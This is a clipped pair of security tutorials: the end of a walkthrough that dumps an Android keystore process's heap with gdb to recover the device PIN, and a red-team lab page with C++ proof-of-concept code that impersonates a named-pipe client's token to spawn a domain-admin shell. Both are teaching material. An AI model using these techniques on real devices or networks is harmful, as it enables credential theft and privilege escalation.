So I’m going to connect from my Linux VM via my Windows native OS to the
gdbserver running on my Nexus 4, using the custom compiled gdb that I made
earlier:

[code]

    [dave@jotunheim gdb]$ ./gdb
    
    GNU gdb (GDB) 7.7
    Copyright (C) 2014 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later 
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "--host=i686-pc-linux-gnu --target=arm-linux-gnueabi".
    Type "show configuration" for configuration details.
    For bug reporting instructions, please see:
    .
    Find the GDB manual and other documentation resources online at:
    .
    For help, type "help".
    Type "apropos word" to search for commands related to "word".
    (gdb) target remote 192.168.0.41:1234
    Remote debugging using 192.168.0.41:1234
    0xb6f92834 in ?? ()
    (gdb)
    
[/code]

We now have a connection \(bit anti-climatic really\) so now we can dump the
memory.

### 5\. Dump the memory

This can be performed with the “dump memory” command very quickly. We’ll use
the hex numbers we took from the process' maps file earlier:

[code]

    (gdb) dump memory /tmp/heapout 0xb7712000 0xb771f000
    (gdb)
    
[/code]

This will write the whole of the device’s heap to the file /tmp/heapout.

### 6\. Look for stuff

### 7\. Profit

There will be a format to the heap, but this will depend on who it’s been
allocated by and what’s been allocated. For 90% of cases, a simple strings
will do this.

Now, I picked the keystore program for a reason: this is the Android keystore
service and manages all access to the aforementioned keystore. The keystore
uses a masterkey as a KEK \(key encryption key\). This is derived from the PIN
or password for the device.

Can you see where I’m going? Yes, can we find the device’s PIN? Yes, we can,
we just need to look for user 0’s master key and look at data around it:

[code]

    [dave@jotunheim tmp]$ strings /tmp/heapout | more
    [...]
    /masterkey
    ...skipping
    user_0/.masterkey
    em_s
    
    password_uid
    sync_uid
    reset_uid
    clear_uid
    duplicate
    
[/code]

And there we have the device’s PIN in the old cleartext.

### How to prevent it

As I said in the intro, as this process requires root it’s only useful in a
handful of situations, mostly where important data is transient, such as
credit card PANs and CVVs and the device has already been rooted.

You can protect yourself though, by a little bit of planning when writing your
apps: ensure that confidential data is destroyed as soon as possible after
use.

Also, don’t just mark your objects deleted after use and hope the garbage
collector picks them up – destroy them fully by overwriting all critical data
with random data.

# Windows NamedPipes 101 + Privilege Escalation

**Created:**| _5/10/2019 8:27:08 AM_  
---|---  
**Updated:**| _5/10/2019 8:27:08 AM_  
**Author:**| __  
**Tags:**| _windows priv\_esc_  
  

  

<img src='img/avatar.png' width='40' height='40' />

Red Teaming Experiments

linkedin

github

@kondencuotas

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='71'%3e%3cg data-evernote-id='72'
class='js-evernote-checked'%3e%3ccircle cx='10.5' cy='10.5' r='7.5' data-
evernote-id='73' class='js-evernote-checked'%3e%3c/circle%3e%3cline x1='21'
y1='21' x2='15.8' y2='15.8' data-evernote-id='74' class='js-evernote-
checked'%3e%3c/line%3e%3c/g%3e%3c/svg%3e' />

About /?

Pinned posts

Pentesting Cheatsheets<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='109'%3e%3cg data-evernote-id='110' class='js-evernote-
checked'%3e%3cpolyline points='9 18 15 12 9 6' data-evernote-id='111'
class='js-evernote-checked'%3e%3c/polyline%3e%3c/g%3e%3c/svg%3e' />

Powershell Payload Delivery via DNS using Invoke-PowerCloud

Masquerading Processes in Userland via \_PEB

Active Directory / Kerberos Abuse<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='125'%3e%3cg data-evernote-id='126' class='js-evernote-
checked'%3e%3cpolyline points='9 18 15 12 9 6' data-evernote-id='127'
class='js-evernote-checked'%3e%3c/polyline%3e%3c/g%3e%3c/svg%3e' />

offensive security

T1055: Process Injection<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='138'%3e%3cg data-evernote-id='139' class='js-evernote-
checked'%3e%3cpolyline points='9 18 15 12 9 6' data-evernote-id='140'
class='js-evernote-checked'%3e%3c/polyline%3e%3c/g%3e%3c/svg%3e' />

Phishing with MS Office<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='146'%3e%3cg data-evernote-id='147' class='js-evernote-
checked'%3e%3cpolyline points='9 18 15 12 9 6' data-evernote-id='148'
class='js-evernote-checked'%3e%3c/polyline%3e%3c/g%3e%3c/svg%3e' />

Password Spraying Outlook Web Access: Remote Shell

Dump GAL from OWA

T1003: Credential Dumping<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='162'%3e%3cg data-evernote-id='163' class='js-evernote-
checked'%3e%3cpolyline points='9 18 15 12 9 6' data-evernote-id='164'
class='js-evernote-checked'%3e%3c/polyline%3e%3c/g%3e%3c/svg%3e' />

T1134: Primary Access Token Manipulation

AV Bypass with Metasploit Templates and Custom Binaries

Evading Windows Defender with 1 Byte Change

Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon
Sessions

Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs

Using MSBuild to Execute Shellcode in C\#

Cobalt Strike 101

Red Team Infrastructure<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='198'%3e%3cg data-evernote-id='199' class='js-evernote-
checked'%3e%3cpolyline points='9 18 15 12 9 6' data-evernote-id='200'
class='js-evernote-checked'%3e%3c/polyline%3e%3c/g%3e%3c/svg%3e' />

File Smuggling with HTML and JavaScript

Commandline Obfusaction

T1027: Obfuscated Powershell Invocations

SSH Tunnelling / Port Forwarding

T1117: regsvr32

Application Whitelisting Bypass with WMIC and XSL

T1187: Forced Authentication<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='230'%3e%3cg data-evernote-id='231' class='js-evernote-
checked'%3e%3cpolyline points='9 18 15 12 9 6' data-evernote-id='232'
class='js-evernote-checked'%3e%3c/polyline%3e%3c/g%3e%3c/svg%3e' />

T1099: Timestomping

T1196: Control Panel Item

T1170: MSHTA

T1191: CMSTP

T1118: InstallUtil

T1053: Schtask

T1214: Credentials in Registry

T1028: WinRM for Lateral Movement

T1047: WMI for Lateral Movement

T1035: Service Execution

T1216: pubprn.vbs Signed Script Code Execution

T1138: Application Shimming

T1015: Sticky Keys

T1131: Authentication Packages

T1136: Create Account

T1197: BITS Jobs

T1122: COM Hijacking

T1038: DLL Hijacking

T1158: Hidden Files

T1128: NetSh Helper DLL

T1013: AddMonitor\(\)

T1108: WebShells

T1051: Shared Webroot

T1198: SIP & Trust Provider Hijacking

T1180: Screensaver Hijack

T1209: Hijacking Time Providers

T1084: Abusing Windows Managent Instrumentation<img
src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='342'%3e%3cg data-evernote-id='343'
class='js-evernote-checked'%3e%3cpolyline points='9 18 15 12 9 6' data-
evernote-id='344' class='js-evernote-
checked'%3e%3c/polyline%3e%3c/g%3e%3c/svg%3e' />

T1076: RDP Hijacking for Lateral Movement with tscon

T1140: Encode/Decode Data with Certutil

Downloading Files with Certutil

T1183: Image File Execution Options Injection

T1202: Forfiles Indirect Command Execution

T1130: Installing Root Certificate

T1096: Alternate Data Streams

T1045: Packed Binaries

T1174: Password Filter

T1010: Application Window Discovery

T1087: Account Discovery & Enumeration

T1175: Lateral Movement via DCOM

Powershell Empire 101

Powershell Constrained Language Mode ByPass

Powershell Without Powershell.exe

Detecting Sysmon on the Victim Host

Unloading Sysmon Driver

WMI + MSI Lateral Movement

WMI + NewScheduledTaskAction Lateral Movement

WMI + PowerShell Desired State Configuration Lateral Movement

Empire Shells with NetNLTMv2 Relaying

Simple TCP Relaying with NetCat

Lateral Movement via SMB Relaying

Parsing PE File Headers with C++

Phishing with GoPhish and DigitalOcean

Windows NamedPipes 101 + Privilege Escalation

Spiderfoot 101 with Kali using Docker

Memory Forensics

Exploring Injected Threads

Process Environment Block

Dump Virtual Box Memory

CTFs / Walkthroughs

Reversing Password Checking Routine

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='currentColor' viewBox='0 0 1067 769'
xmlns='http://www.w3.org/2000/svg' stroke='none' class='icon-7f6730be--
text-3f89f380 js-evernote-checked' data-evernote-id='482'%3e%3cg data-
evernote-id='483' class='js-evernote-checked'%3e%3cpath d='M480.026
640.677c17.205 0 31.2 13.997 31.2 31.194s-13.995 31.193-31.2 31.193c-17.197
0-31.193-13.996-31.193-31.193 0-17.197 13.996-31.194
31.193-31.194m489.93-193.226c-17.203 0-31.2-13.998-31.2-31.195 0-17.204
13.997-31.2 31.2-31.2 17.198 0 31.194 13.996 31.194 31.2 0 17.197-13.996
31.195-31.193 31.195m0-127.804c-53.269 0-96.609 43.34-96.609 96.609 0 10.373
1.723 20.702 5.123 30.741L559.328
616.879c-18.132-26.128-47.521-41.617-79.302-41.617-36.821 0-70.391
21.065-86.63 54.003L106.68 478.109c-30.288-15.927-52.965-65.817-50.56-111.223
1.248-23.687 9.438-42.071 21.897-49.17 7.916-4.493 17.436-4.099 27.526
1.188l1.916 1.01c75.96 40.022 324.6 170.981 335.063 175.844 16.157 7.47 25.14
10.5 52.659-2.547l513.958-267.3c7.53-2.844 16.315-10.062 16.315-21.023
0-15.205-15.72-21.199-15.765-21.199-29.218-14.018-74.163-35.054-117.987-55.57C798.033
84.26 691.861 34.547 645.23
10.132c-40.253-21.072-72.655-3.311-78.432.282l-11.227 5.555C345.727 119.743
64.898 258.826 48.911 268.553 20.278 285.973 2.547 320.679.252 363.768c-3.586
68.304 31.261 139.506 81.069 165.634l303.172 156.354c6.83 47.306 47.55 82.725
95.532 82.725 52.78 0 95.808-42.546 96.603-95.14L910.541 492.38c16.93 13.233
37.92 20.486 59.416 20.486 53.268 0 96.61-43.341
96.61-96.61s-43.342-96.61-96.61-96.61' fill-rule='evenodd' data-evernote-
id='484' class='js-evernote-checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

Powered by **GitBook**

#  Windows NamedPipes 101 + Privilege Escalation

#

Overview<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid
meet' height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='522'%3e%3cg data-evernote-id='523'
class='js-evernote-checked'%3e%3cpath d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0
0-7.07-7.07l-1.72 1.71' data-evernote-id='524' class='js-evernote-
checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07
7.07l1.71-1.71' data-evernote-id='525' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

A `pipe ` is a block of shared memory that processes can use for communication
and data exchange.

`Named Pipes ` is a Windows mechanism that enables two unrelated processes to
exchange data between themselves, even if the processes are located on two
different networks. It's very simar to client/server architecture as notions
such as `a named pipe server ` and a named `pipe client ` exist.

A named pipe server can open a named pipe with some predefined name and then a
named pipe client can connect to that pipe via the known name. Once the
connection is established, data exchange can begin.

This lab is concerned with a simple PoC code that allows:

  * creating a single-threaded dumb named pipe server that will accept one client connection
  * named pipe server to write a simple message to the named pipe so that the pipe client can read it

#

Code<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='578'%3e%3cg data-evernote-id='579'
class='js-evernote-checked'%3e%3cpath d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0
0-7.07-7.07l-1.72 1.71' data-evernote-id='580' class='js-evernote-
checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07
7.07l1.71-1.71' data-evernote-id='581' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

Below is the PoC for both the server and the client:

namedPipeServer.cpp

namedPipeClient.cpp

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='597'%3e%3cg data-evernote-id='598'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='599' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='600' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1#include "pch.h"
    2#include <Windows.h>
    3#include <iostream>
    4​
    5int main() {
    6	LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
    7	LPVOID pipeBuffer = NULL;
    8	HANDLE serverPipe;
    9	DWORD readBytes = 0;
    10	DWORD readBuffer = 0;
    11	int err = 0;
    12	BOOL isPipeConnected;
    13	BOOL isPipeOpen;
    14	wchar_t message[] = L"HELL";
    15	DWORD messageLenght = lstrlen(message) * 2;
    16	DWORD bytesWritten = 0;
    17​
    18	std::wcout << "Creating named pipe " << pipeName << std::endl;
    19	serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
    20	
    21	isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
    22	if (isPipeConnected) {
    23		std::wcout << "Incoming connection to " << pipeName << std::endl;
    24	}
    25	
    26	std::wcout << "Sending message: " << message << std::endl;
    27	WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
    28	
    29	return 0;
    30}
[/code]

#

Execution<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid
meet' height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='1064'%3e%3cg data-evernote-id='1065'
class='js-evernote-checked'%3e%3cpath d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0
0-7.07-7.07l-1.72 1.71' data-evernote-id='1066' class='js-evernote-
checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07
7.07l1.71-1.71' data-evernote-id='1067' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

Below shows the named pipe server and named pipe client working as expected:

<img src='img/Screenshot from 2019-04-02 23-44-22.png' width='603'
height='289' />

Worth nothing that the named pipes communication by default uses SMB protocol:

<img src='img/Screenshot from 2019-04-04 23-51-48.png' width='603' height='90'
/>

Checking how the process maintains a handle to our named pipe `mantvydas-
first-pipe `:

<img src='img/Screenshot from 2019-04-06 14-40-57.png' width='603'
height='194' />

Similary, we can see the client having an open handle to the named pipe:

<img src='img/Screenshot from 2019-04-06 14-59-41.png' width='323'
height='355' />

We can even see our pipe with powershell:

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='1127'%3e%3cg data-evernote-id='1128'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='1129' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='1130' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    ((Get-ChildItem \\.\pipe\).name)[-1..-5]
[/code]

<img src='img/Screenshot from 2019-04-06 15-09-05.png' width='477'
height='105' />

#

Token Impersonation<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='1185'%3e%3cg data-evernote-id='1186' class='js-evernote-checked'%3e%3cpath
d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71' data-evernote-
id='1187' class='js-evernote-checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0
0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71' data-evernote-id='1188'
class='js-evernote-checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

It is possible for the named pipe server to impersonate the named pipe
client's security context by leveraging a `ImpersonateNamedPipeClient ` API
call which in turn changes the named pipe server's current thread's token with
that of the named pipe client's token.

We can update the the named pipe server's code like this to achieve the
impersonation - note that modifications are seen in line 25 and below:

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='1208'%3e%3cg data-evernote-id='1209'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='1210' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='1211' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1int main() {
    2	LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
    3	LPVOID pipeBuffer = NULL;
    4	HANDLE serverPipe;
    5	DWORD readBytes = 0;
    6	DWORD readBuffer = 0;
    7	int err = 0;
    8	BOOL isPipeConnected;
    9	BOOL isPipeOpen;
    10	wchar_t message[] = L"HELL";
    11	DWORD messageLenght = lstrlen(message) * 2;
    12	DWORD bytesWritten = 0;
    13​
    14	std::wcout << "Creating named pipe " << pipeName << std::endl;
    15	serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
    16	
    17	isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
    18	if (isPipeConnected) {
    19		std::wcout << "Incoming connection to " << pipeName << std::endl;
    20	}
    21	
    22	std::wcout << "Sending message: " << message << std::endl;
    23	WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
    24	
    25	std::wcout << "Impersonating the client..." << std::endl;
    26	ImpersonateNamedPipeClient(serverPipe);
    27	err = GetLastError();	
    28​
    29	STARTUPINFO	si = {};
    30	wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
    31	PROCESS_INFORMATION pi = {};
    32	HANDLE threadToken = GetCurrentThreadToken();
    33	CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
    34​
    35	return 0;
    36}
[/code]

Running the server and connecting to it with the client that is running under
administrator@offense.local security context, we can see that the main thread
of the named server pipe assumed the token of the named pipe client -
offense\administrator, although the PipeServer.exe itself is running under
ws01\mantvydas security context. Sounds like a good way to escalate
privileges?

<img src='img/Screenshot from 2019-04-07 18-00-49.png' width='603'
height='284' />

Not so fast - unfortunately, I was not able to properly duplicate the token
and use it to our advantage with the following code:

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='1844'%3e%3cg data-evernote-id='1845'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='1846' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='1847' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1	HANDLE 
    2		threadToken = NULL,
    3		duplicatedToken = NULL;
    4​
    5	OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, &threadToken);
    6	DuplicateTokenEx(threadToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicatedToken);
    7	err = GetLastError();
    8	CreateProcessWithTokenW(duplicatedToken, 0, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
[/code]

For some reason, the DuplicateTokenEx call would return an error `1346
ERROR_BAD_IMPERSONATION_LEVEL ` and I could not figure out what the issue was,
so if you know, I would like to hear from you.

##

Update \#1<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid
meet' height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='2048'%3e%3cg data-evernote-id='2049'
class='js-evernote-checked'%3e%3cpath d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0
0-7.07-7.07l-1.72 1.71' data-evernote-id='2050' class='js-evernote-
checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07
7.07l1.71-1.71' data-evernote-id='2051' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

I was contacted by Raymond Roethof and @exist91240480 \(huge thank you
both\!\) and they suggested that my named pipe server was not holding
`SeImpersonatePrivilege `which was causing the `ERROR_BAD_IMPERSONATION_LEVEL
` when calling `DuplicateTokenEx `. Once the server hold the required
privilege, everything worked as expected.

Note how `PipeServer.exe ` running as a local admin `ws01\mantvydas ` spawned
a cmd shell with domain admin privileges `offense\administrator `\- due to
successfull token impersonation via named pipes:

<img src='img/Screenshot from 2019-05-06 12-59-57.png' width='603'
height='274' />

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='currentColor' viewBox='0 0 24 24'
xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'
stroke='none' style='color:%233884FF' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='2097'%3e%3cg data-evernote-id='2098'
class='js-evernote-checked'%3e%3cpath d='M12.2
8.98c.06-.01.12-.03.18-.06.06-.02.12-.05.18-.09l.15-.12c.18-.19.29-.45.29-.71
0-.06-.01-.13-.02-.19a.603.603 0 0 0-.06-.19.757.757 0 0
0-.09-.18c-.03-.05-.08-.1-.12-.15-.28-.27-.72-.37-1.09-.21-.13.05-.23.12-.33.21-.04.05-.09.1-.12.15-.04.06-.07.12-.09.18-.03.06-.05.12-.06.19-.01.06-.02.13-.02.19
0 .26.11.52.29.71.1.09.2.16.33.21.12.05.25.08.38.08.06 0 .13-.01.2-.02M13
16v-4a1 1 0 1 0-2 0v4a1 1 0 1 0 2 0M12 3c-4.962 0-9 4.038-9 9 0 4.963 4.038 9
9 9 4.963 0 9-4.037 9-9 0-4.962-4.037-9-9-9m0 20C5.935 23 1 18.065 1 12S5.935
1 12 1c6.066 0 11 4.935 11 11s-4.934 11-11 11' fill-rule='evenodd' data-
evernote-id='2099' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

Note that this technique is used by meterpreter when attempting to escalate
privileges when `GetSystem ` command is used.. The same technique is used in
the `PowerUp `.

#

References<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid
meet' height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='2117'%3e%3cg data-evernote-id='2118'
class='js-evernote-checked'%3e%3cpath d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0
0-7.07-7.07l-1.72 1.71' data-evernote-id='2119' class='js-evernote-
checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07
7.07l1.71-1.71' data-evernote-id='2120' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

Interprocess Communications - Windows applications

The Windows operating system provides mechanisms for facilitating
communications and data sharing between applications. Collectively, the
activities enabled by these mechanisms are called interprocess communications
\(IPC\).

docs.microsoft.com

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='2145'%3e%3cg data-evernote-id='2146'
class='js-evernote-checked'%3e%3cline x1='19' y1='12' x2='5' y2='12' data-
evernote-id='2147' class='js-evernote-checked'%3e%3c/line%3e%3cpolyline
points='12 19 5 12 12 5' data-evernote-id='2148' class='js-evernote-
checked'%3e%3c/polyline%3e%3c/g%3e%3c/svg%3e' />

offensive security - Previous

Phishing with GoPhish and DigitalOcean

Next - offensive security

Spiderfoot 101 with Kali using Docker

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='2161'%3e%3cg data-evernote-id='2162'
class='js-evernote-checked'%3e%3cline x1='5' y1='12' x2='19' y2='12' data-
evernote-id='2163' class='js-evernote-checked'%3e%3c/line%3e%3cpolyline
points='12 5 19 12 12 19' data-evernote-id='2164' class='js-evernote-
checked'%3e%3c/polyline%3e%3c/g%3e%3c/svg%3e' />

<img src='img/12826_photo.jpg' width='30' height='30' />

Mantvydas Baranauskas

Last updated 4 days ago

Was this page helpful?

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='currentColor' viewBox='0 0 24 24'
xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'
stroke='none' class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-
evernote-id='2183'%3e%3cg data-evernote-id='2184' class='js-evernote-
checked'%3e%3cpath d='M9.707 8.707a.993.993 0 0 0 .006-1.396 1.007 1.007 0 0
0-1.408-.03C8.273 7.312 7.519 8 6 8c-1.497 0-2.251-.67-2.303-.717a1 1 0 0
0-1.404 1.424C2.425 8.839 3.653 10 6 10c2.347 0 3.575-1.161 3.707-1.293m12
